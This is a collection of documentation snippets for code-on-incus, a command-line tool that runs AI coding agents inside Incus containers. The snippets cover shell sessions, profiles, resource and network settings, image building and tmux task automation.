pytest tests/integration/test_nft_monitoring.py -vvs
```

--------------------------------

### Run All NFT Monitoring Tests

Source: https://github.com/mensfeld/code-on-incus/blob/master/docs/NFT-MONITORING.md

Execute all integration tests for the NFT monitoring module. Use the -v flag for verbose output.

```bash
pytest tests/integration/test_nft_monitoring.py -v
```

--------------------------------

### Use opencode Tool

Source: https://github.com/mensfeld/code-on-incus/wiki/Supported-Tools

This command initiates a shell session using the opencode AI coding tool.

```bash
# Use opencode
coi shell --tool opencode
```

--------------------------------

### Tool Interface with Config Directory Files

Source: https://github.com/mensfeld/code-on-incus/wiki/Supported-Tools

Extends the base Tool interface for tools that utilize a configuration directory, specifying essential files and sandbox settings injection.

```go
type ToolWithConfigDirFiles interface {
    Tool
    EssentialConfigFiles() []string       // Files to copy from host config dir
    SandboxSettingsFileName() string      // File to inject sandbox/bypass settings into
    StateConfigFileName() string          // Sibling state file (e.g. ".claude.json"), "" if none
}
```

--------------------------------

### Start Persistent Interactive COI Shell

Source: https://github.com/mensfeld/code-on-incus/blob/master/README.md

Opens an interactive shell in a persistent COI container, meaning the container will remain active between sessions.

```bash
# Persistent mode - keep container between sessions
coi shell --persistent
```

--------------------------------

### CPU Limits Configuration

Source: https://github.com/mensfeld/code-on-incus/wiki/Resource-and-Time-Limits

Configure CPU core count, allowance, and priority. Use 'count' for cores, 'allowance' for throttling, and 'priority' for contention.

```toml
[limits.cpu]
count = "2"              # CPU cores: "2", "0-3", "0,1,3" or "" (unlimited)
allowance = "50%"        # CPU time: "50%", "25ms/100ms" or "" (unlimited)
priority = 0             # CPU priority: 0-10 (higher = more priority)
```

--------------------------------

### Start Interactive COI Shell in Specific Slot

Source: https://github.com/mensfeld/code-on-incus/blob/master/README.md

Opens an interactive shell in a COI container using a specific slot, allowing for parallel sessions.

```bash
# Use specific slot for parallel sessions
coi shell --slot 2
```

--------------------------------

### Create Team Images

Source: https://github.com/mensfeld/code-on-incus/wiki/Image-Management

Standardize team environments by creating shared images. This involves installing common tools in a container and publishing it as a team image.

```bash
# Create team image with specific tools
coi shell --persistent
# Install team tools...
exit
coi image publish coi-workspace-1 team-nodejs-2024
```

```bash
# Team members use it
coi shell --image team-nodejs-2024
```

--------------------------------

### Container Build Script Configuration

Source: https://github.com/mensfeld/code-on-incus/wiki/Profiles

Defines a base image and a build script for creating a custom container image.

```toml
[container.build]
base = "coi-default"              # base image to build on
script = "build.sh"       # script path (relative to profile dir)
```

--------------------------------

### Control Image Compression during Build and Publish

Source: https://github.com/mensfeld/code-on-incus/wiki/Image-Management

Manage image compression levels using the '--compression' flag. Options range from 'none' for faster iteration to 'xz' for maximum compression.

```bash
# Skip compression entirely (fastest, larger images - good for iteration)
coi build --compression none
coi image publish my-container my-image --compression none
```

```bash
# Use xz for high compression ratio (slowest, smallest images - good for distribution)
coi build --compression xz
```

--------------------------------

### Configure COI for Open Network Mode

Source: https://github.com/mensfeld/code-on-incus/wiki/Network-Isolation

Use this TOML configuration to disable egress filtering for immediate use, bypassing the need for firewalld setup.

```toml
# ~/.coi/config.toml
[network]
mode = "open"

```

--------------------------------

### Start Interactive COI Shell

Source: https://github.com/mensfeld/code-on-incus/blob/master/README.md

Opens an interactive shell within a COI container, defaulting to the Claude Code AI tool. The container is ephemeral by default.

```bash
# Interactive session (defaults to Claude Code)
coi shell
```

--------------------------------

### Show Profile Details

Source: https://github.com/mensfeld/code-on-incus/wiki/Profiles

Command to display the complete configuration of a specific Incus profile.

```bash
coi profile info rust-dev
```

--------------------------------

### List Containers and Sessions

Source: https://github.com/mensfeld/code-on-incus/blob/master/README.md

List all active containers and saved sessions.

```bash
coi list --all
```

--------------------------------

### Queue Unattended Tasks in Tmux

Source: https://github.com/mensfeld/code-on-incus/wiki/Tmux-Automation

Queues multiple AI tasks to run sequentially in tmux sessions overnight. It starts persistent sessions and sends commands to them.

```bash
# Queue multiple AI tasks to run overnight
coi shell --persistent --slot 1 &
sleep 5
coi tmux send coi-workspace-1 "refactor module A"
coi tmux send coi-workspace-1 "refactor module B"
coi tmux send coi-workspace-1 "refactor module C"
coi tmux send coi-workspace-1 "/exit"
```

--------------------------------

### Development Profile with Resource Limits

Source: https://github.com/mensfeld/code-on-incus/wiki/Resource-and-Time-Limits

Sets up a development profile with specific resource limits for CPU, memory, and runtime. This ensures a controlled environment for development tasks.

```toml
# .coi/profiles/dev/config.toml
[container]
image = "coi-default"
persistent = true

[limits.cpu]
count = "2"

[limits.memory]
limit = "4GiB"

[limits.runtime]
max_duration = "4h"
```

--------------------------------

### Create a New Profile

Source: https://github.com/mensfeld/code-on-incus/wiki/Profiles

Commands for creating new Incus profiles with specified image and inheritance.

```bash
coi profile create rust-dev --image coi-rust --inherits default
coi profile create limited --persistent --project
```

--------------------------------

### Configure Open Network Mode

Source: https://github.com/mensfeld/code-on-incus/wiki/Linux-Setup-Guide

Sets the network mode to 'open' in the COI configuration file. This is an alternative to installing and configuring firewalld, useful if firewalld is unavailable or not running.

```toml
# ~/.coi/config.toml
[network]
mode = "open"
```

--------------------------------

### Configure Persistent Session for COI

Source: https://github.com/mensfeld/code-on-incus/wiki/Best-Practices

Use the `--persistent` flag when you need the container state to survive session disconnections, such as for installing language runtimes or build tools.

```bash
coi shell --persistent
```

--------------------------------

### List All Profiles

Source: https://github.com/mensfeld/code-on-incus/wiki/Profiles

Command to display all loaded Incus profiles in a tabular format.

```bash
coi profile list
```

--------------------------------

### Build Default COI Image

Source: https://github.com/mensfeld/code-on-incus/blob/master/README.md

Builds the default COI image, which includes Ubuntu 22.04, Docker, mise, Node.js, and various development tools. This process can take 5-10 minutes.

```bash
# Build the default coi-default image (5-10 minutes)
coi build
```

--------------------------------

### Example of interleaved stdout and stderr logs

Source: https://github.com/mensfeld/code-on-incus/wiki/Session-Logs

Session logs can interleave standard output and standard error messages. Stderr messages are prefixed with `[ERR]` for clear identification.

```text
2026/05/22 10:15:01 [setup] Setting up claude config...
2026/05/22 10:15:01 [setup] Container setup complete!
[ERR] 2026/05/22 10:15:03 [network] allowlist refresh failed: dial tcp: lookup example.com: no such host
```

--------------------------------

### Launch New Container

Source: https://github.com/mensfeld/code-on-incus/wiki/Container-Operations

Launches a new container from a specified image. Use --ephemeral for containers that auto-delete on stop.

```bash
# Launch a new container
coi container launch coi-default my-container

# Launch ephemeral container (auto-delete on stop)
coi container launch coi-default my-container --ephemeral
```

--------------------------------

### Access Container Service from Host

Source: https://github.com/mensfeld/code-on-incus/wiki/Network-Isolation

Example of accessing a service running inside a container from the host machine. This is possible due to an automatic allow rule for the gateway IP.

```bash
# Inside container: Puma/Rails server listening on 0.0.0.0:3000
# From host: Access via container IP
curl http://<container-ip>:3000
```